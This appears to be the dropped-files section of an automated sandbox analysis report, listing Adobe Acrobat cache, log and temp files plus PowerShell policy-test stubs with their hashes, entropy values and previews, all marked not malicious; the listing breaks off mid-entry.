C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.3059367036659415
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJfbPtdPeUkwRe9:YvXKX0T5LjIPdZGDV8Ukee9
MD5:	7F03F348E5F781222FF3A96261BF1A54
SHA1:	CC679094F87039463D8DE10772779D39C6E2C974
SHA-256:	07DE0D359C80A0467DBF943B8867E86DE43959C68D2E77643B4A43C01733D796
SHA-512:	C46A0200A9EA91F761C2DC80161AA6B34BE8D0BCA6E03080E325DBEBF9766FBEC921B8AE0BA58F78E1D813F42E9FC35E3A9C7856A87D411BB5EAE342F511A616
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298008681438569
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJf21rPeUkwRe9:YvXKX0T5LjIPdZG+16Ukee9
MD5:	F7C6E32A9239CF9DFF1C8F77BE938D2D
SHA1:	675B216B3C8DD4D3FBEB8016FEBB83FBFBE07318
SHA-256:	0A0EB242D132042B98D94784C9DC60316D15F39C5C31F28D5FF5BD6DBC9EFD2E
SHA-512:	5AD483F4B8D20234BE00A1B53B69A739A6FB700934CBE72B2886EAA38AD6B74F582C033B22AC33EE11E3A8E367DD6287BF092A96E359B87989264884B97CC387
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669928302554203
Encrypted:	false
SSDEEP:	24:Yv6X0T5XIUamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSg:YvJXBBgkDMUJUAh8cvMg
MD5:	BC5559127DDA479646D5D9698CE3C20D
SHA1:	3064C1BCC45AE574B434004193F28B7FF2B7A149
SHA-256:	7BBD1B5509FAC2E64347C500B68067898B3506E43DA48353AD1253FC0DBC4C91
SHA-512:	FE0AA72920C2D308A6E89EECA1C545403DB833E4155BB643D16D01E0084A552053C89A3B6BC39C6F0C076CBC0BB2982138B065DDFEED282C99811F977509FAD3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.273435528996321
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJfshHHrPeUkwRe9:YvXKX0T5LjIPdZGUUUkee9
MD5:	D50B794786ECB74433EFD5DDEE0A9773
SHA1:	AC22623C4259D008625F669991DCFDFA3BA4C624
SHA-256:	3B65EDEB8BBDB41237B102012CF21BE413221F1D0EDB97554EDB2BB33841E1D4
SHA-512:	602B1AE14F0BA9A4F83FC90042E2960BBED2D67409DE0CDD7017A15E34A865B7B2D3438B9BDBFFC74413200CA51EA1394E47528D9D6DA5F2CC7E6D822A07AE17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.272709994810433
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQ2LlRZ1aEmSg1c2LjcWkHvR0YcC2DoAvJTqgFCrPeUkwRe9:YvXKX0T5LjIPdZGTq16Ukee9
MD5:	955F95654DDDCAD31955CD064A2F0E70
SHA1:	AB87686EB9D9F132F973C416CC97654FCF59FA9C
SHA-256:	12E377647E186AA22EC6B60E8E0C756667EBA8CBB8A005F0EA7D5A141235A19B
SHA-512:	406262AA0EF839DD8B1EF9BF1B4C2CF5C1869763D79169A953914D5D171E3EE0483DD7AC2F7E1B90464D392F9BF567F87073EEE1AE1014203A8D6CDB11867B42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05a11e8c-2987-4f3b-b8dc-49306be5e550","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736720520042,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.126027997170347
Encrypted:	false
SSDEEP:	24:Ytg0ay77y+9a9YnayBu/ZuZ/BaAtRJr49DMKaxV1ujDBj0Sn8sTbLGp28Z2LSnOX:YJxi2lXh4pW0pE/ZUFFHw06+XPN9v
MD5:	F24E114D2C7AA7C68644E2777A8133CE
SHA1:	D624109387354C8AFEBE8D903E303454FE461A10
SHA-256:	32C71BB63944E65F5CDBA40ECAC345FACC2045D95E020A62E6A653990AD562B8
SHA-512:	C531C27A1112931125445725CB1702BDBFF3D078F9515ACB82712D686DC1D70D8C0B75B9B91F7487B5670900149B9FF2B26AE48263CDCC7EB6FFF5DC3433CE3B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ce350c40d2891e1cb61a67cd471043e7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543624000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"aff22485853ea85b4a44fda60e914098","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736543624000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"45e6fd154edbbae37ca50136126d6f7c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736543624000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d36ee6f000ad72d6f1961633b045ce76","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736543624000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"5ae4ce86a6f79bbf387b93246cae13de","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736543624000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"30d6732766ad8fd650e085159875f3ca","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3672757715139092
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDumGceXKdqEKfS8EKfM1baeGceF:Tll2GL7msMcKTlS8fcsumGcdfIeGcm
MD5:	6EF39E5C1EFE3D15D9F586115D306B24
SHA1:	956DEA765EF9A90E91CB8DAF1A4AB3BA4CBF0358
SHA-256:	6CAFD4E454E3350BC7CDB134FBCBE79FCDDC7A7F511EBDEC8BDD83A13A0FA993
SHA-512:	2236117434B92A921B6AC9D2CDC4841AC50098BE0F6A0FD8FF85EF5A664C0FD840F9D2E52767DA1D203F5385365054B7C62874C918237873EEB3169169450D2A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8439909935815821
Encrypted:	false
SSDEEP:	24:7+tqZ6bqyKn6ylSTofcNqDumGce+KdqEKfS8EKfM1banbqEqLKufx/XYKQvGJF72:7MwcKTlS8fcsumGcEfIlqGufl2GL7msS
MD5:	F5F8862D1B27C06988027DEE0DAC97BA
SHA1:	4AEC45E74E25F1AA53E82868E8630DC56BE6F38C
SHA-256:	4C74020222803ACD9906D7B3ED3227C5C0CF9E28DC5250BFBB4D640C99C58B88
SHA-512:	873185FBE1EF2CC09F85104140B0E77FB7C1012F5164B6D12531DFFAAD78433479E4E099633EDF724C348CBECED381F51285C666B628ECEFFFBF96883A9226A5
Malicious:	false
Preview:	.... .c........\..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEge1s2wDuixBsWKRj4V5c4iRnfE7Yyu:6a6TZ44ADEeeEivCRj4wnM7K
MD5:	84124E9F2D289C5185B93890E3FD4FDA
SHA1:	71649DA77B7E9AA79C790AAD7A1D44A809BF856F
SHA-256:	124148D2D3990BFC1B520782FD3303CF7D51B3220E89E5278BCB8034A397606B
SHA-512:	8AF7563276937CF553E52B111059400BD4EC06290FCD9F1FE1CDB98A4AFF1557E736A197EB5E951E6172C1740B083804F288DFC8FC1CBC72B568F12407B42B4C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI3bef7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5217358039039093
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNHmlH:Qw946cPbiOxDlbYnuRK+bDrNG9
MD5:	4E608838CEC080E3BD8180368C0D6584
SHA1:	1DA4CA1B278B679D04125984EF6BA65D906BCBAB
SHA-256:	CC840EEFD049CA560AAB977F9FD61818FA7EB1DEFC141214F09B4B8ED33E82E3
SHA-512:	0E63FD3CDB12FBE7EA37F65305CAA3AEC30C766225B182E10D6CE7B65C13345224AD78986316CB006BFCA456936C356DB5D04A84DDDB3E5AFA8A360A1C60A4B2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.1.3.:.4.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g0byqecg.zmv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vezczxwg.gpl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-13-38-620.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.322559477093209
Encrypted:	false
SSDEEP:	384:oGYLQ6BTLoBv49QKOfL+qAkKOhxXtUYL9ifztB9HAzXBnIumU1yc8h8x0+cPpwIr:M3/
MD5:	C89C7F8127C9C6EEBD20F1E593E999C9
SHA1:	2A2C0E02AC42B867E6B7CE977A2136F58042A980
SHA-256:	7F88EDF177C9B761800AFED227EB0EE10E107D484A764CD733A009963AF7989C
SHA-512:	141DBF71242B49B09383BD24183ED8460F704C476764C2D1F0BB009DA9A32ED4D7EA95ED707A3F3A0BE7CA6899D5306F3A5363AE6B91771A807EA02185E389EF
Malicious:	false
Preview:	SessionID=7264cf64-4084-48e5-af83-f61e844d0e8f.1736543618631 Timestamp=2025-01-10T16:13:38:631-0500 ThreadID=2024 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7264cf64-4084-48e5-af83-f61e844d0e8f.1736543618631 Timestamp=2025-01-10T16:13:38:632-0500 ThreadID=2024 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7264cf64-4084-48e5-af83-f61e844d0e8f.1736543618631 Timestamp=2025-01-10T16:13:38:632-0500 ThreadID=2024 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7264cf64-4084-48e5-af83-f61e844d0e8f.1736543618631 Timestamp=2025-01-10T16:13:38:632-0500 ThreadID=2024 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7264cf64-4084-48e5-af83-f61e844d0e8f.1736543618631 Timestamp=2025-01-10T16:13:38:632-0500 ThreadID=2024 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3797942098261275
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmbYcbGIfNcbx:8qnXopZ50rvdfC
MD5:	292D7065D76B5D1E3E0BF72955F78929
SHA1:	300915C2DC06997246DCF433C9BD71615B229B95
SHA-256:	48EB3B13756A5C168D68468721555F835929A8E0FBA9C323D09F3334A9A6385F
SHA-512:	7DDADDB51D31852C62C4597CBBB40540465455A02D082C571749189F8238C74B16F7C65B15991816F6CF4D454826BBA74959B281B588C19930D147DD122C53AC
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0191e52c-260e-4c5a-a008-cdd090ca3f42.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\36b84374-70f6-4f73-aa85-e4a3cebe9dbd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\aa7d1a4a-d2b3-41f7-b4ea-56735f5518c4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
